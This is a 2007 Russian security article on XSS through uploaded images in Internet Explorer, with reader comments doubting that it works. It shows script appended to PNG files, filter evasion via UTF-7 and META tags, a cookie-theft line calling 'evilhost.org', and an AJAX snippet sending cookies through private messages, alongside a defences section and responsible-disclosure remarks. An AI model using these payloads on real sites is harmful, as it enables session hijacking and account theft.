25.02.2007

Обход фильтрации загружаемых изображений в ряде Web-приложений для осуществления XSS атак

Особенность отображения изображений не нова, и возможность осуществления атаки XSS через картинку была известна давно. Но поскольку в новой версии браузера Internet Explorer 7.0 данная особенность была проигнорирована, это дало повод подойти к данной проблеме снова.

Александр Штокман

аналитик по информационной безопасности компании

Digital Security

Email: Alex.Shtokman@dsec.ru

Введение

Как известно, загрузка изображений пользователем на web-сервер поддерживается огромным количеством сайтов – например, всевозможными CMS (Bitrix, runCMS, Mambo), форумами (PhpBB, vBulluten), почтовыми серверами (mail.ru, yandex.ru), блогами (livejournal.com, liveinternet.ru, myspace.com). Подобные сайты потенциально уязвимы к атаке XSS, связанной с особенностями обработки web-страниц (в том числе – изображений) в браузере Internet Explorer.Особенность отображения изображений не нова, и возможность осуществления атаки XSS через картинку была известна давно. Но поскольку в новой версии браузера Internet Explorer 7.0 данная особенность была проигнорирована, это дало повод подойти к данной проблеме снова. Можно, конечно не обращать на это внимание, аргументируя это недостатком клиентского приложения но, через ту же картинку есть возможность залить PHP-шелл, и использовать его при наличии уязвимости local PHP include, и в этом случае особенности браузера будут уже не при чём. Этот факт ещё раз подтверждает то, что фильтрация необходима в любом случае, если мы имеем дело с пользовательскими данными.

Описание

Итак, начнем с описания того, каким образом Internet Explorer обрабатывает графические файлы. Если при обработке графического файла встречаются символы, нехарактерные для обрабатываемого формата, то вызывается метод, который анализирует эти данные и сравнивает получившиеся сигнатуры с сигнатурами поддерживаемых форматов. Если находится подходящий формат, то браузер начинает обрабатывать файл в соответствии с этим форматом.

Поясним на примере. У нас есть изображение в формате PNG, состоящее из одной чёрной точки.

Рис. 1. Исходный графический файл в формате PNG

Естественно, что если мы откроем наше изображение в браузере, то увидим просто чёрную точку. Но если в конце файла с изображением дописать (в шестнадцатеричных кодах) хорошо известную строку:

<script>alert(‘Image XSS’)</script>

и снова открыть этот файл в Internet Explorer, то браузер, обработав изображение, обнаружит фрагмент данных, не являющийся частью изображения, обработает его как HTML, в результате чего наш скрипт выполнится в браузере.

Рис. 2. Измененный графический файл в формате PNG

Рис. 3. Получение cookies пользователя с mail.ru

Например, можно послать письмо пользователю сервера mail.ru с прикрепленным изображением. Если пользователь, получивший письмо, выберет просмотр изображения, то записанный в файл изображения скрипт выполнится и, к примеру, отправит cookie незадачливого пользователя на почтовый ящик нарушителя. На рисунке 4 представлен результат работы встроенного в изображение скрипта (на mail.ru), который просто выводит cookie пользователя на экран, тем самым демонстрируя возможность получения доступа к cookie жертвы.

Обход фильтров

Всё, что было написано до сих пор, на самом деле, не новость. На практике описанный метод часто не работает, так как разработчики в последнее время начали включать в web-приложения специальные фильтры для проверки содержимого графических файлов на наличие «инородных» данных и тем самым усложнили задачу нарушителя. Это вполне разумный ход, поскольку серверное приложение, заботящееся о своей безопасности обязано, проверять правильность любых пользовательских данных посылаемых на сервер, будь то GET, POST запросы, cookies, и тем более файлы с данными, в не зависимости от особенностей обработки этих данных клиентскими приложениями.

Посмотрим, можно ли каким-либо образом обойти фильтр. Основная проблема заключается в том, что не все существующие методы обхода фильтров работают для картинок. Например, XSS в тэге <META> не обрабатывается в принципе, хотя фильтрами пропускается. Наша задача – найти именно такой способ, который работал бы для изображения и обходил фильтры [2].

В ходе первичного исследования оказалось, что существует только три рабочих способа вызова скрипта:

  • <script>alert()</script>
  • <img src=javascript:alert()>
  • <table> <td background="javascript:alert('XSS')">

    И все они, к сожалению, не проходят фильтрацию. Фильтруются HTML-тэги, то есть, если в содержимом картинки встречаются строки “<script”, “<img”, “<table”, то картинка считается неправильной и загрузить её на сервер не удается.

    А что, если использовать другую кодировку, например, UTF-7? Это поможет нам обойти фильтры, так как в UTF-7 кодировке символы “<”, “>” заменяются на “+ADw-”, ”+AD4-”соответственно. Чтобы браузер воспринимал текст в кодировке UTF-7, необходимо выполнение одного из трёх условий:

  • Поле Content-Type из заголовка http-ответа сервера содержит информацию о кодировке страницы
  • Content-Type: text/html; charset=UTF-7
  • В содержимом страницы присутствует тег <META>, в котором указана кодировка страницы:
  • <meta http-equiv="Content-Type" content="text/html; charset="UTF-7">
  • Браузер пользователя настроен на автоматическое определение кодировки.
  • Нам подходит второй вариант, ведь, в отличие от обычных XSS, мы можем контролировать всю страницу, а именно, можем использовать тэг <META>. Итак, перепишем содержимое нашего изображения так, чтобы попробовать обойти фильтр (рис. 4), и проверим это на одной из самых популярных реализаций форумов – PHPbb.

    Рис.4. Графический файл с данными в кодировке UTF-7

    Как мы видим на рисунке 5, изображение загрузилось, обойдя фильтры.

    Рис.5. XSS в картинке (обход фильтров PHPbb)

    На самом деле, можно обойтись и без UTF-7. Для того, чтобы тот или иной скрипт сработал в картинке, необходимо, чтобы Internet Explorer распознал HTML-страницу в потоке анализируемых данных. Это можно сделать, например, используя тэги <html>, <head>, <body>, и после этого вставлять те или иные способы вызова скриптов. Например, следующий текст, вставленный после картинки, тоже проходит через фильтры:

    <html>
    <head>
    </head>
    <meta http-equiv="Content-Type" content="text/html">
    </head>
    <body>
    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    </body>
    </html>

    Тем не менее, использование UTF-7 дает нам большую незаметность для фильтров, так как тэг “<iframe” в любом другом web-приложении может фильтроваться. Учитывая описанное выше использование дополнительных кодировок и всевозможные дополнительные методы обхода фильтров, получается, что задача написания хорошего фильтра отнюдь не тривиальна.

    Скрытность

    Итак, у нас есть уже практически готовый эксплоит, который можно использовать, заменив alert() ссылкой на сенсор, получающий cookie пользователя. Но можно использовать и более красивое решение.

    Во-первых, нехорошо то, что на нашей страничке выводятся, как вы уже заметили, бинарные данные графического файла. Самый простой способ избавиться от этого – сделать текст цвета совпадающим с цветом фона, например:

    document.body.style.color="white";

    Теперь наш скрипт выглядит гораздо красивее.

    Рис. 6. XSS в картинке (скрываем лишнее)

    Во-вторых, надо понимать, что сконструированный XSS сработает в двух случаях: либо если пользователь кликнет на изображение (что маловероятно), либо мы дадим ему прямую ссылку на изображение, применив немного фантазии в области социальной инженерии. Основная мысль заключается в том, что мы стараемся сделать нашу атаку максимально незаметной для пользователя. Следовательно, если мы даём пользователю ссылку на картинку, то это должна быть картинка. Поэтому мы добавляем в наш скрипт настоящую картинку, точнее – ссылку на неё. Что использовать в качестве картинки, зависит от того, для кого она предназначена.

    Рис. 7. Маскировка с добавлением ссылки на картинку

    Итак, мы получили почти готовый эксплоит, только он не делает самого главного – не передает нарушителю cookies. Для этого можно воспользоваться стандартным способом – перенаправить пользователя на наш сенсор путём вставки, например, такого кода:

    img.src = "http://evilhost.org/sensor.php?"+document.cookie;

    Указанный вариант не является оптимальным, так как разглашается адрес web-сервера нарушителя и все его попытки скрыть атаку обречены на провал. Можно, конечно, перенаправлять пользователя обратно, но существует более элегантное решение.

    Наверняка, все слышали про технологию AJAX. У этой технологии есть отличное применение в деле получения несанкционированного доступа к cookies пользователей. Нет смысла в данной статье углубляться в тонкости AJAX, отметим только, что суть метода заключается в том, чтобы с помощью объекта XMLHttpRequestObject послать на сервер запрос с содержимым cookies пользователя. Единственная проблема заключается в том, что пересылка данных с помощью XMLHttpRequestObject на сторонний сервер вызывает у браузера кучу дополнительных вопросов, что нам совсем ни к чему.

    Предлагаемая идея заключается в том, что отсылать данные на сторонний сервер нам не обязательно, ведь мы в рассматриваемом примере используем уязвимости в форумах и CMS, которые имеют механизм отправки личных сообщений. Следовательно, мы можем с помощью нашего скрипта отослать себе личное сообщение от имени жертвы с содержимым его cookies. Вот стандартный AJAX-код, который отсылает данные на скрипт-сенсор:

    <script>
    var XMLHTTPRequestObject = false;
    XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");

    XMLHttpRequestObject.open('GET', 'http://www.site.com/privatemessage.php?
    ' + window.document.cookie, true);
    XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    XMLHttpRequestObject.send(null);
    delete XMLHttpRequestObject;
    </script>

    В данном примере выделена основная часть скрипта, отвечающая за отсылку данных. Для того, чтобы у нас получился полноценный эксплоит, необходимо заменить параметры метода XMLHttpRequestObject.open на те, которые используются в конкретном web-приложении. Получившийся код нужно добавить в нашу картинку, сконвертировав его предварительно в UTF-7. Итоговый код по понятным причинам не приводится, но тому, кто понял суть, дописать его не составит труда.

    Способы защиты

    Степень защиты всегда связана с удобством использования, так и в этом случае мы должны понимать, что досконально проверять все входные данные задача очень ресурсоёмкая. Но в случае, когда безопасность пользователей портала критична, необходимо её обеспечивать в не зависимости от того, что причиной является особенность браузера, ведь для конечного пользователя не важна причина уязвимости, его интересует лишь сам факт нарушения безопасности. Существует несколько вариантов, в той или иной степени уменьшающих вероятность реализации данной уязвимости.

    • Хранить картинки не в основном домене сайта (скажем, domain.com), а в другом, например, pics.domain.com. Этим мы избавимся от атак, направленных на кражу cookies, так как они привязываются к домену, но это не решит проблему в целом.
    • Сверять размер изображения с тем, который должен быть в заголовке графического файла. Это поможет в том случае, если скрипт дописывается в конец изображения, но не спасет тогда, когда мы встроим его в саму картинку и скорректируем размер.
    • Усовершенствовать фильтр Web-приложения , чтобы фильтровать все возможные тэги или хотя бы основные, по которым Internet Explorer определяет, что документ является HTML-страницей (это слова “html”, “head”, “body”). Данный способ даст практически 100% результат, но нужно учитывать, что чем сильнее фильтр, тем больше вероятность заблокировать легальную картинку.
    • Использовать элементарные операции над изображениями. Например, перед сохранением картинки растянуть её в 2 раза, а потом сжать. Это даст нам максимальную защиту, но в некоторых случаях может быть критично по отношению к качеству изображений.
    • Использовать комбинации тех или иных методов в зависимости от ситуации.

    Заключение

    В заключение хотелось бы вкратце описать преимущества и недостатки данного подвида XSS-атаки.

    Преимущества:

    • В отличие от Linked XSS, Image XSS не остаётся в логах web-сервера, и её невозможно фильтровать или обнаружить привычными средствами, такими как mod_security, PHP Hardening-Patch или Snort, так как в url не присутствует сигнатуры скрипта.
    • Ссылку на картинку потенциальная жертва нажмёт с большей вероятностью, чем на Linked XSS, где в строке URL присутствует множество непонятных символов.
    • Можно использовать для фишинга. Мы можем поместить в картинку целую HTML-страницу, которая подделывала бы, например, страницу авторизации какого-либо сайта.

    Недостатки:

    • Работает только в Internet Explorer.
    • Пользователь должен перейти по ссылке (или кликнуть на картинку). Для этого, аналогично Linked XSS, необходим элемент социальной инженерии.
    • Картинки могут храниться на другом сервере, тем самым исключая возможность получения несанкционированного доступа к cookies.

    Мы решили проверить несколько существующих сайтов на наличие данной уязвимости. Были выбраны следующие сайты: securitylab.ru, google.com, mail.ru, xakep.ru, livejournal.com. Четыре из приведенных пяти сайтов оказались уязвимыми, не поддался только Google.com. Администраторы данных ресурсов были предупреждены заранее, до публикации статьи.

    Ссылки:

    [1] RFC UTF-7
    http://www.faqs.org/rfcs/rfc2152.html

    [2] XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion
    http://ha.ckers.org/xss.html

    [3] XSS in Image Format
    http://milw0rm.com/video/watch.php?id=58

    или введите имя

    CAPTCHA
    Страницы: 1  2  
    1
    12-11-2007 21:16:35
    Во все ли форматы изображений возможно встраивать такой код. Я попробовал в png - работает только Ваш пример, да и то не во всех Эксплорерах. Потом попробовал готовые пнг файлы поправить - добавив туда скрипты - не проходит - эксплорер их нормально отрисовывает. Можно по подробнее эту тему раскрыть.
    0 |
    Миркус
    26-10-2009 09:59:11
    да можешь просто в GIMP открыть и встроить в метатэги XSS.
    0 |
    Сообщение разбито на несколько...
    20-12-2009 15:53:45
    ... <script type="text/javascript">   //сначала считываем значение из textarea, заменяем в нём все пробелы и переводы строк, а затем режем по 2 символа и помещаем в массив, который возвращает match()   var hex_code=document.getElementById('hex_code').value.replace(/s/g,'').match(/../g);   for(var i=0;i<hex_code.length;i++)   {      //функция Write не даст такое записать в ASCII: hex_code[i]=String.fromCharCode(parseInt(hex_code[i],16));      //сначала преобразуем в десятеричное значение, а затем в  Char      hex_code[i]=ByteToChar(parseInt(hex_code[i],16));   }   var sfo = new ActiveXObject('Scripting.FileSystemObject');   var fs = sfo.OpenTextFile('C:/point_1x1.png', 8, true, 0);   fs.Write(hex_code.join(''));   fs.Close();   </script></body></html>   Если никто не опровергнет моей версии о том, что автор это всё придумал и не напишет здесь как же это должно работать на самом деле, то можно считать что автор просто откровенный пи*дабольщик
    0 |
    Сообщение разбито на ...
    20-12-2009 15:58:59
    И хотя информацию к картинке можно прописать и не в HEX-редакторе, а в любом простом, который не изменяет код, я сделал специально для вас считывание с картинки(2-ая сверху) HEX-символов и затем с помощью JavaScript прописал это в файл. Результат - тотже самый: не работает! Вот, можете убедиться в этом сами: [CODE] <html><body><textarea id="hex_code" rows="10" cols="45"> 8950 4E47 0D0A 1A0A 0000 000D 4948 4452 0000 0001 0000 0001 0802 0000 0090 7753 DE00 0000 0467 414D 4100 00B1 8F0B FC61 0500 0000 0C49 4441 5418 5763 6060 6000 0000 0400 015C CDFF 6900 0000 0049 454E 44AE 4260 823C 7363 7269 7074 3E61 6C65 7274 2827 496D 6167 6520 5853 5327 293C 2F73 6372 6970 743E </textarea> <script type="text/vbscript"> //эта функция написана на vbscript потому что String.fromCharCode возвращает неправильный результат Function ByteToChar(byte1) ByteToChar=Chr(byte1) End Function </script>[CODE]
    0 |
    Сообщение разбито на ...
    20-12-2009 16:03:03
    Сообщения следует читать снизу наверх. Возможно модератор сделает доброе дело и соберёт мои 3 сообщения в одно. Точно я не берусь пока утверждать, что это ложь, НО У МЕНЯ в IE6 эта т.н. "уязвимость" не работает! Я пробовал менять разные настройки в браузере и стартовал его заново, но JavaScript не выполняется в картинке. Автор скорее попросту занимается чёрным пиаром для раскрутки своего сайта. И хотя информацию к картинке можно прописать и не в HEX-редакторе, а в любом простом, который не изменяет код, я сделал специально для вас считывание с картинки(2-ая сверху) HEX-символов и затем с помощью JavaScript прописал это в файл. Результат - тотже самый: не работает!
    0 |
    Страницы: 1  2